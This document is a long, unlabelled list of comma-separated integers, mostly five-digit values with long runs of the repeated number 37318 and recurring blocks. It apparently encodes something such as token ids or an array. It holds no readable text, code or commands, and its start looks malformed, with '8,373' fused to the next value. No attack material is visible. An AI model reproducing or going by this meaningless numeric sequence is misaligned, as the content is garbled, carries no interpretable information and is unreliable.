8,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,45715,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,45680,45684,37318,37318,45700,45732,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,45768,39048,39078,39105,39169,39156,39172,39188,39089,39218,45803,55484,39265,39291,55476,39311,45819,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,39708,37318,37318,37318,37318,48276,37318,37318,37318,37318,37318,67919,57964,37318,37318,37318,37318,37318,45266,36991,37318,37318,41289,37087,37318,37318,37010,37318,37318,37318,37318,37318,65657,40192,38525,37318,37318,39335,40192,38527,37031,44584,37054,37076,37318,37318,74250,37318,69924,37107,37136,37152,65815,69390,37247,37265,53482,37182,37116,37202,37162,37222,37186,37120,37206,37166,74726,69388,37245,37263,53480,37281,37318,41092,37317,37318,37318,45006,57380,37335,37318,74671,64449,74683,40193,37351,37378,40192,39199,37741,69458,41098,41041,37318,46044,37882,69459,41099,41042,37318,46045,37371,74376,37355,37382,40192,39202,38523,74469,50180,37398,37414,37436,50351,37475,37318,58014,37496,39340,37628,37651,37674,55492,37717,38230,37546,37566,58028,41986,37605,37523,37542,37562,58024,37582,37601,39304,37621,37644,37667,37690,37709,37733,74273,57770,38317,37757,37779,37822,46961,37943,37979,37995,38150,38170,38011,38093,38038,38061,37792,39434,38084,38100,38045,38068,37799,39441,38116,37992,38147,38166,38186,38022,38246,38263,37318,38304,37318,38354,38370,45231,38397,38413,37861,37459,38432,38451,68861,37456,38429,38448,38467,45226,38483,38407,38516,57783,51848,38545,38580,73050,38677,38610,38626,49222,38643,38660,49221,38642,38659,38676,38693,38624,38714,38739,38791,38841,38876,38942,38892,60443,38908,60433,60449,38914,38930,38946,38962,38978,39013,39048,39078,39105,39169,39156,39172,39188,39089,39218,39249,55484,39265,39291,55476,39311,39327,37693,37318,65659,38698,39356,39410,37835,37848,39457,45051,38498,38500,45058,39494,39520,39559,39504,39575,59063,39606,39616,39632,39681,39692,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,45863,37318,37318,44953,53155,45882,37318,52352,45886,39423,67164,45902,45916,45932,45961,45945,45975,45991,37318,45455,41670,46020,50786,46004,46033,45185,46061,46096,44613,41965,46121,46173,46189,46205,46221,46237,46288,65632,46304,37318,37318,68839,40298,50758,37318,41033,53889,69149,37318,46321,73164,72644,72644,72644,46341,45386,41542,41542,59697,52709,65498,65498,65498,64013,57854,41461,41461,41461,53427,64567,41960,63943,65692,37318,55390,46361,44399,46380,37318,58658,46936,46397,46417,72644,72644,59240,58293,46453,46492,41542,41542,52156,55833,61582,46520,65498,65498,64241,46547,52866,68024,41461,41461,68015,46594,47566,46621,37318,37318,46672,37318,46264,44403,37318,40057,46707,46725,63333,41308,72644,46741,63340,42275,46760,41542,46793,66052,61720,45363,46811,65498,49417,68460,65498,46845,46864,41461,51002,52264,41461,46904,52111,46933,46952,37318,46684,52530,67711,37318,59166,64847,72644,54549,51902,61913,46986,41542,41542,73854,71759,72272,41570,65498,54158,68314,46848,58449,41461,41461,47016,47035,51372,47057,47076,37318,47124,37318,47140,47156,71524,72644,42291,47208,67563,41542,59595,47244,47267,65498,59798,47304,47328,41461,53433,37318,47344,37318,61381,37318,72644,47362,47380,41542,47407,47424,65498,47447,64139,63673,47467,64041,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,41347,39062,47486,47520,47551,47602,47622,61702,70577,48688,47605,47638,50030,47449,46829,57656,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,47659,37318,37318,44953,37318,37318,37318,37318,37318,67919,47681,47697,47709,47725,47754,47738,47770,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,37318,37318,37318,44404,67827,50028,47806,47251,47282,47858,50482,37318,37318,37318,68839,37318,37318,37318,37318,37318,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,64567,41960,37318,37318,37318,37318,73633,44399,56082,37318,56083,37318,73164,72644,72644,72644,72644,47879,41363,41542,41542,41542,41542,47922,65493,65498,65498,65498,65498,47955,46825,41461,41461,41461,67629,66428,63696,45404,37318,37318,37318,37318,37318,44403,37318,37318,37318,72643,72644,72644,72644,72644,72645,38772,41542,41542,41542,41542,41542,45363,65498,65498,65498,65498,65498,59800,41461,41461,41461,41461,41461,47863,51497,37318,58926,37318,37318,64306,57609,37318,65431,72644,72644,72644,56125,63073,47979,41542,41542,41542,70807,58352,65498,65498,65498,65498,47999,41461,41461,41461,41461,48015,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,37318,37318,73163,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,65375,48037,48062,48088,48113,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,49548,37318,37318,44953,37318,41780,37318,41482,37318,54642,48139,48155,48170,48186,48215,48199,48231,65689,37318,37318,48273,48292,37318,48311,37318,51503,37318,37318,37318,48331,46709,48623,50028,58342,50938,47282,52495,55465,37318,48349,37318,68839,48369,47665,37318,51866,48388,48408,48427,73007,67026,70205,72644,72644,72644,48444,48468,41542,41542,52709,48501,48532,65498,65498,51441,56912,41461,41461,41461,64567,71585,37318,37318,65402,37318,56580,44399,46364,37873,48553,37318,73164,48570,72644,48622,56986,72644,41363,48639,50032,41542,55261,41542,65493,48669,57135,65498,73731,65498,46825,48704,41598,41461,48739,41461,63696,45404,37318,37318,39025,37318,62106,44403,37318,37318,37318,72643,72644,72644,60958,57260,72645,38772,41542,41542,54046,68350,48760,45363,65498,65498,65498,48780,52828,59800,41461,41461,41461,48796,66903,47863,51534,37318,37318,37318,64199,37318,64441,37318,72642,72644,72644,64854,72644,61913,41542,41542,41542,48812,48876,65497,65498,65498,71839,65498,59803,41461,41461,47470,41461,47863,47501,37318,65142,37318,37318,38723,48831,72644,48851,72644,42291,41542,48871,41542,59595,65498,70398,65498,59798,41461,61249,41461,42174,72114,37318,37318,53513,66795,54283,70249,60920,63484,67969,41542,58586,58373,65498,49897,57220,41461,56936,37318,37318,67331,73163,72644,72800,50031,41542,52475,65498,65498,48892,41461,58211,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,47019,45307,48912,48959,48989,49019,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,70340,49053,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,49089,37318,44953,37318,48599,37585,39665,37318,67919,49107,49123,49137,49153,49182,49166,49196,65689,37318,37318,41289,37087,37318,37318,37318,37318,37318,48353,37318,48351,60095,51266,41622,41369,62908,47535,62003,72217,37318,62994,49212,68839,37318,49238,37318,49258,37318,51050,39778,49276,57933,60709,68980,49292,71214,49326,70571,70834,49347,57459,49369,49386,49404,49439,49457,61552,61800,49485,58425,64567,41960,37318,37318,68084,37318,56022,44399,37318,37318,37318,70710,73164,72644,72644,72644,72644,49520,41363,41542,41542,41542,52429,41542,65493,65498,65498,65498,59621,65498,46825,41461,41461,41461,65942,41461,71902,49537,37318,37318,48372,63307,37318,44403,37318,37318,38213,70690,72446,72644,72644,72644,64634,56631,49564,49582,41542,41542,56653,45363,49600,48682,65498,65498,64927,49622,49640,70938,41461,41461,62085,49662,51497,37318,37318,37318,37318,37318,49684,37318,68617,72644,72644,69970,72644,65479,41542,41542,41326,41542,48876,49710,65498,65498,47842,65498,59286,41461,41461,58267,41461,47863,47501,37918,62752,37318,37318,49733,60498,55203,65029,49752,42291,67741,65203,74026,59595,66024,65498,49773,59798,49646,41461,49825,47288,37318,51997,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,49852,37318,73163,72644,60539,50031,41542,72428,65498,65498,49872,41461,70461,56939,61615,37318,72643,60923,41542,57845,65498,49892,41461,49913,72946,72644,50030,54383,59799,54339,40392,49935,49960,49980,50002,57326,50022,50048,50069,50089,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,50115,37318,44953,44449,50137,37318,37060,50171,54108,64429,50196,50210,50226,50255,50239,50269,65689,44626,50285,50301,50316,50332,50367,39233,53108,50384,61398,55344,50419,50467,50512,50528,50544,50594,50610,50651,50667,73014,50694,49260,50729,62653,50756,50774,72085,37318,37318,49073,37318,73164,50802,70730,47643,67373,50837,50866,47931,48477,50890,64147,50934,50954,50974,61240,51024,54206,54678,60300,51066,42093,59527,51082,54503,44179,51132,51166,69514,50121,44486,44480,51182,51198,51247,51290,51306,51322,51357,51407,51457,51482,51519,51581,60231,51607,51635,51659,51675,51432,54188,73942,51691,51713,51750,51800,41753,51824,51840,37318,45167,74354,51864,51882,51918,51962,51982,72643,52018,52052,68101,52072,70228,38772,52096,72897,41542,52136,57279,52172,66566,52195,65498,64541,65498,52222,56902,52245,41461,67612,41461,52280,51497,37891,64079,46636,37318,52344,55168,73701,70986,47906,72644,52368,52401,61913,52428,52445,53191,52464,52511,46777,66351,65498,52546,52580,55946,51008,41461,52615,49469,47863,47501,37318,39657,52645,37318,58484,60498,52664,60195,52685,42291,67536,73887,52704,59595,49809,69760,70602,59798,46578,54457,71795,47288,37318,68581,52725,60872,52759,71031,52775,65989,69245,52802,72675,52206,52852,55908,48097,54237,46605,52882,52918,52936,39919,39478,52952,52973,52992,65449,53038,56792,66087,71786,53088,56765,56939,40362,53104,72643,69978,41542,52310,65498,53124,53817,55637,53146,55211,53171,53289,59799,53207,55668,73239,68122,73294,50578,53242,53264,53284,53305,53324,42326,53340,53356,53372,60496,73658,47451,66435,53400,53449,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,51938,37318,44953,62203,56053,37318,51929,37318,53498,53534,53550,53564,53580,53609,53593,53623,65689,37318,68909,41289,37087,37318,37318,37318,37318,61388,37318,61393,61388,52002,53639,47391,58863,63536,59869,62003,50482,37318,53663,37318,68839,53663,37318,37318,37318,69142,53682,45250,37318,55674,71208,72644,72644,72644,53704,53738,41542,41542,52709,48072,65498,65498,65498,57854,53755,41461,41461,41461,64567,41960,37318,37318,37318,37318,37318,44399,37318,37318,37318,53779,73164,72644,72644,72644,63735,72644,41363,41542,41542,41542,60760,41542,65493,65498,65498,65498,61277,65498,46825,41461,41461,41461,48744,41461,63696,45404,37318,37318,37318,37318,37318,44403,37318,45747,37318,72643,72644,72644,50815,72644,72645,38772,41542,41542,71247,41542,41542,45363,65498,65498,48537,65498,65498,59800,41461,41461,67762,41461,41461,47863,51497,37318,37318,37318,37318,37318,67308,37318,72642,72644,72644,56359,72644,61913,41542,41542,41542,70112,48876,65497,65498,65498,66735,65498,59803,41461,41461,41461,53797,47863,47501,37318,37318,37318,37318,37318,60498,72644,72644,72644,42291,41542,41542,41542,59595,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,54260,37318,37318,37318,73163,67467,72644,48046,41542,73662,48935,65498,59802,53815,41462,56939,61615,37318,72643,60923,41542,73664,65498,59801,41461,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,41851,61054,66378,62339,68189,53833,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,39797,37318,37318,37318,67919,53869,53905,53909,53925,53954,53938,53968,65689,37318,37318,41289,37087,37318,45716,37318,37318,37318,37318,37318,37318,44404,72644,50028,41369,65498,47282,62003,46136,46156,37318,37318,68839,37318,37318,37318,37318,40903,37318,37318,37318,73164,72644,72644,72644,72644,45386,41542,41542,41542,52709,65498,65498,65498,65498,57854,41461,41461,41461,41461,60376,37318,37318,37318,37318,37318,37318,37318,37318,36975,37318,64085,73164,72644,72644,72644,72644,72644,53984,41542,41542,41542,41542,41542,62136,65498,65498,65498,65498,65498,46825,41461,41461,41461,41461,41461,47041,37318,37318,37318,54006,37318,54026,36968,37318,37318,53666,72643,72644,65774,72644,72644,72645,38772,41542,41542,54043,41542,41542,45363,65498,65498,53015,65498,65498,59800,41461,41461,66593,41461,41461,71140,54854,37318,37318,54062,37318,37318,37318,37318,72642,72644,72644,72644,72644,38767,41542,41542,41542,41542,41444,65497,65498,65498,65498,65498,59803,41461,41461,41461,41461,47863,54854,37318,37318,54082,64821,37318,60498,72644,72644,62830,58547,41542,41542,58315,46770,65498,65498,71297,59798,41461,41461,54740,47288,59033,54099,69440,44860,37318,54124,64478,44740,41542,54141,70297,54157,61206,54174,54204,58614,54222,56936,53884,37318,41072,40582,71978,54276,54299,54319,56380,73391,73919,41714,55599,54335,56939,50403,59838,42233,54355,53715,54379,54399,59801,54439,49498,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,57408,54473,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,45302,37318,37318,37318,37318,44953,37318,37318,37318,37318,37318,67919,57964,37318,37318,45323,45350,63443,47e3,59399,37318,37318,60166,37087,37318,37318,37318,54501,37318,54501,42045,54519,39472,54546,54565,67872,65498,54590,62375,54624,37318,37318,47504,68839,67717,44759,37318,37318,54658,37318,37318,37318,73164,72644,72644,58045,72644,45386,41542,41542,67542,52709,65498,65498,65498,56180,57854,41461,41461,41461,54676,60376,37318,37318,37318,37318,37318,37318,37318,37318,37318,68532,57795,73164,72644,72644,72644,72644,72644,54694,41542,41542,41542,41542,41542,54716,65498,65498,65498,65498,65498,54737,41461,41461,41461,41461,41461,54756,71731,37318,37318,37318,37318,37318,37318,37318,37318,74625,57661,72644,72644,72644,72644,72645,38772,54791,41542,41542,41542,41542,45363,54808,65498,65498,65498,65498,59800,54829,41461,41461,41461,41461,47863,54854,37318,37318,66657,37318,37318,37318,37318,72642,72644,72644,72644,58513,38767,41542,41542,41542,63753,41444,65497,65498,65498,65498,70365,59803,41461,41461,41461,60263,47863,54854,37318,37318,49068,37318,37318,60498,72644,72644,72644,58547,41542,41542,41542,46770,65498,65498,65498,59798,41461,41461,41461,47288,37318,37318,37318,37318,37318,72644,72644,60920,41542,41542,41542,65498,65498,65498,63673,41461,41461,56936,37318,54946,37318,40844,72644,72644,50031,41542,73662,65498,65498,59802,41461,41462,54850,61615,65734,72643,61015,41542,72843,65498,54871,41461,54893,72946,72644,50030,54383,59799,54339,61620,60922,73660,47450,46828,73161,59759,73663,59797,47605,60497,50030,47449,46829,60496,73658,47451,47606,53268,62159,62339,66862,41867,41898,41909,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,37318,